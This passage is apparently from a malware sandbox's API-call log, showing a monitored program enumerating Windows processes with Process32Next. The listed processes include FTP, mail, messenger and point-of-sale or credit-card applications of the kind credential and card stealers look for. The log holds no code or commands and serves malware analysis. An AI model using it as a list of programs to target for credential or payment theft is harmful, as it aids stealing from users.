th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.467] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.469] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.470] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.472] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.474] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.475] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.477] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.479] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.481] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.482] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.484] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.486] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.487] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.489] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.491] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0250.493] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.494] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.497] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.549] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0250.572] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.584] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.586] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0250.587] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.589] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.590] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.592] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.594] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.596] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.598] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0250.600] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0250.601] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0250.603] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0250.604] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0250.606] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0250.608] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0250.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0250.611] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0250.613] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0250.615] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0250.616] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0250.618] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0250.620] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0250.653] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0250.657] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0250.661] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0250.664] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0250.667] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0250.671] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0250.675] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0250.680] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0250.684] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0250.688] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0250.693] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0250.698] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0250.703] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0250.707] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0250.711] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0250.715] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0250.719] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0250.722] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0250.726] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0250.730] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0250.734] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0250.738] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0250.742] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0250.746] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0250.749] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0250.753] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0250.757] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0250.761] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0250.764] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0250.768] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0250.772] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0250.774] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0250.778] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0250.781] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0250.785] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0250.788] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0250.792] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0250.837] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0250.840] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0250.844] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0250.848] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0250.852] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 